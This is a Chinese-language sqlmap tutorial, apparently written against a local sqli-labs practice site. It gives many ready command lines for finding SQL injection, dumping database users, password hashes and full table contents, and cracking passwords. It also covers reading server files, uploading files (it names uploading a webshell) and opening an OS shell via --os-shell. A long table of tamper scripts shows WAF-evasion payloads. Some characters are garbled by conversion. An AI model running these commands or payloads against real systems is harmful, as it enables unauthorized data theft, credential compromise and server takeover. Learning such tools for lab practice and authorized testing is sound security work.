Sqlmap的使用详解

目录php

Sqlmaphtml

Sqlmap的简单用法python

探测指定url是否存在SQL注入漏洞mysql

查看数据库的全部用户sql

​查看数据库全部用户名的密码 shell

​查看数据库当前用户 数据库

判断当前用户是否有管理权限apache

​列出数据库管理员角色服务器

​查看全部的数据库cookie

查看当前的数据库

爆出指定数据库中的全部的表 

爆出指定数据库指定表中的全部的列

爆出指定数据库指定表指定列下的数据

爆出该网站数据库中的全部数据

Sqlmap的高级用法

指定脚本进行过滤

探测等级和危险等级

伪造 Http Referer头部

执行指定的SQL语句

​执行操做系统命令

从数据库中读取文件

上传文件到数据库服务器中

Sqlmap的更多用法


Sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB二、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了如下5种独特的SQL注入技术

  • 基于布尔类型的盲注,便可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增长)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可使用Union的状况下注入
  • 堆查询注入,能够同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取彻底的操做权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

咱们可使用 -h 参数查看sqlmap的参数以及用法,sqlmap  -h

Sqlmap的简单用法

sqlmap -r http.txt  #http.txt是咱们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站须要登陆时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的全部用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles   #列出数据库全部管理员角色

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs     #爆出全部的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables  #爆出全部的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns  #爆出数据库中全部的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的全部的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的全部的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的全部数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的全部数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的全部数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的全部数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #执行--os-shell命令
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,而且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入
-v3  #输出详细度  最大值5 会显示请求包和回复包
--threads  指定线程数
--technique  这个参数能够指定sqlmap使用的探测技术,默认状况下会测试全部的方式,固然,咱们也能够直接手工指定。
支持的探测方式以下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

探测指定url是否存在SQL注入漏洞

对于不用登陆的网站,直接指定其URL

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞

在探测目标URL是否存在漏洞的过程当中,Sqlmap会和咱们进行交互。

好比第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其余类型的数据库。咱们选择 n,就不探测其余类型的数据库了,由于咱们已经知道目标系统是Mysql数据库了。

第二处交互的地方是说 对于剩下的测试,问咱们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的全部测试吗? 咱们选择 y。

第三处交互是说已经探测到参数id存在漏洞了,是否还探测其余地方,咱们选择 n 不探测其余参数了 。

最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其余信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。

此次探测的全部数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下 

对于须要登陆的网站,咱们须要指定其cookie  。咱们能够用帐号密码登陆,而后用抓包工具抓取其cookie填入

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

对因而post提交数据的URL,咱们须要指定其data参数

sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

咱们也能够经过抓取 http 数据包保存为文件,而后指定该文件便可。这样,咱们就能够不用指定其余参数,这对于须要登陆的网站或者post提交数据的网站很方便。

咱们抓取了一个post提交数据的数据包保存为post.txt,以下,uname参数和passwd参数存在SQL注入漏洞

POST /sqli/Less-11/ HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Referer: http://192.168.10.1/sqli/Less-11/
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

而后咱们能够指定这个数据包进行探测

sqlmap -r post.txt        #探测post.txt文件中的http数据包是否存在sql注入漏洞

他也会和咱们进行交互,询问咱们,这里就不一一解释了 

能够看到,已经探测到 uname 参数存在漏洞了,问咱们是否还想探测其余参数,咱们选择的 y ,它检测到passwd也存在漏洞了,问咱们是否还想探测其余参数,咱们选择 n

而后会让咱们选择,在后续的测试中,是选择 uname 这个参数仍是passwd这个参数做为漏洞,随便选择一个就行了。

查看数据库的全部用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的全部用户

 

查看数据库全部用户名的密码 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码

第一处询问咱们是否保存密码的hash值为文件,咱们不保存。第二处问咱们是否使用sqlmap自带的字典进行爆破,咱们选择y,能够看出把密码爆破出来了,root用户的密码也为root。若是这里爆破不出来,咱们能够拿hash值去字典更强大的地方爆破

查看数据库当前用户 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户

判断当前用户是否有管理权限

查看当前帐户是否为数据库管理员帐户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限

 

列出数据库管理员角色

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles   #列出数据库全部管理员角色

查看全部的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs

查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库

爆出指定数据库中的全部的表 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的全部的表

爆出指定数据库指定表中的全部的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的全部数据

爆出该网站数据库中的全部数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的全部数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的全部数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的全部数据

Sqlmap的高级用法

指定脚本进行过滤

有些时候网站会过滤掉各类字符,能够用tamper来解决(对付某些waf时也有成效)

sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap  --tamper="space2comment.py,space2plus.py"  指定多个脚本进行过滤

 过滤脚本在目录:/usr/share/sqlmap/tamper

支持的数据库 编号 脚本名称 做用 实现方式 测试经过的数据库类型和版本
ALL 1 apostrophemask.py 用utf8代替引号 ("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
 
2 base64encode.py  用base64编码替换 ("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

 
 
3 multiplespaces.py 围绕SQL关键字添加多个空格 ('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
 
4 space2plus.py 用+替换空格 ('SELECT id FROM users')
'SELECT+id+FROM+users'
 
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
 
6 space2randomblank.py 代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
 
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT ('-1 UNION ALL SELECT')
'-1 UNION SELECT'
 
8 securesphere.py 追加特制的字符串 ('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
 
MSSQL 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
 
2 equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
 
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
4 space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
 
5 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
 
6 percentage.py asp容许每一个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
 
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 ('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
 
8 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
 
9 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
 
10 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
 
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 
MYSQL 1 equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
 Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5
2 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。
替换相似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
* MySQL 5.0 and 5.5
5 space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
 
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 ('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'

 
* MySQL 5.0
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
* MySQL 5.1
8 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 ('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

 
* MySQL 5.0
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) ('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
 
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。
而后替换=为like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
* MySQL 5.1, SGOS
12 percentage.py asp容许每一个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
13 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
14 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
 
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
17 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
18 versionedmorekeywords.py 注释绕过 * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
 
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释 * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
* MySQL 4.0.18, 5.0.22
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每一个关键字以前添加
mysql版本评论
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
* MySQL 4.0.18, 5.0.22
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 * Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
MySQL 5.1.41
 Oracle 1 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
5 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
 PostgreSQL 1 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 percentage.py asp容许每一个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
5 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
7 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Microsoft Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 ('1 AND 1=1')
'1 AND 1=1%00'

 
 
其余   chardoubleencode.py 双url编码(不处理以编码的) * Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
 
  unmagicquotes.py 宽字符绕过 GPC  addslashes * Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
 
  randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’  

 探测等级和危险等级

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。固然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP  User-Agent/Referer头在level为3时就会测试。在不肯定哪一个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不肯定的状况下,建议设置为3级,--risk=3

sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别

伪造 Http Referer头部

Sqlmap能够在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可使用referer命令来欺骗,好比,咱们伪造referer头为百度。能够这样

referer  http://www.baidu.com

执行指定的SQL语句

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句

而后会提示咱们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号 

 

执行操做系统命令

在数据库为Mysql、PostgreSql或者SQL Server时,当知足下面三个条件,咱们就能够执行操做系统命令

  • 网站必须是root权限
  • 攻击者须要知道网站的绝对路径
  • GPC为off,php主动转义的功能关闭
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #执行--os-shell命令

若是咱们不知道网站的根目录的绝对路径的话,咱们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径! 

从数据库中读取文件

当数据库为Mysql、PostgreSQL或SQL Server,而且当前用户有权限时,能够读取指定文件,能够是文本文件或者二进制文件。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

能够看到,文件读取成功了,而且保存成了 /root/.sqlmap/output/192.168.10.1/files/c__test.txt 文件

上传文件到数据库服务器中

当数据库为Mysql、Postgre SQL或者Sql Server,而且当前用户有权限使用特定的函数时,能够上传文件到数据库服务器。文件能够是文本,也能够是二进制文件。

因此利用上传文件,咱们能够上传一句话木马或者上传shell上去。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,而且名字为hack.txt

这里会问咱们是否想验证上传成功,咱们选择 y 的话,他就会读取该文件的大小,而且和本地的文件大小作比较,只要大于等于本地文件大小即说明上传功能了

Sqlmap的更多用法

除了上面这些用法外,Sqlmap还支持其余的用法,好比定义代理,探测的时候任意的User-Agent头部啊,当咱们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其余类型的数据库了

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql     #指定其数据库为mysql
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY    #使用代理进行爆破
-p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可使用-p指定参数进行探测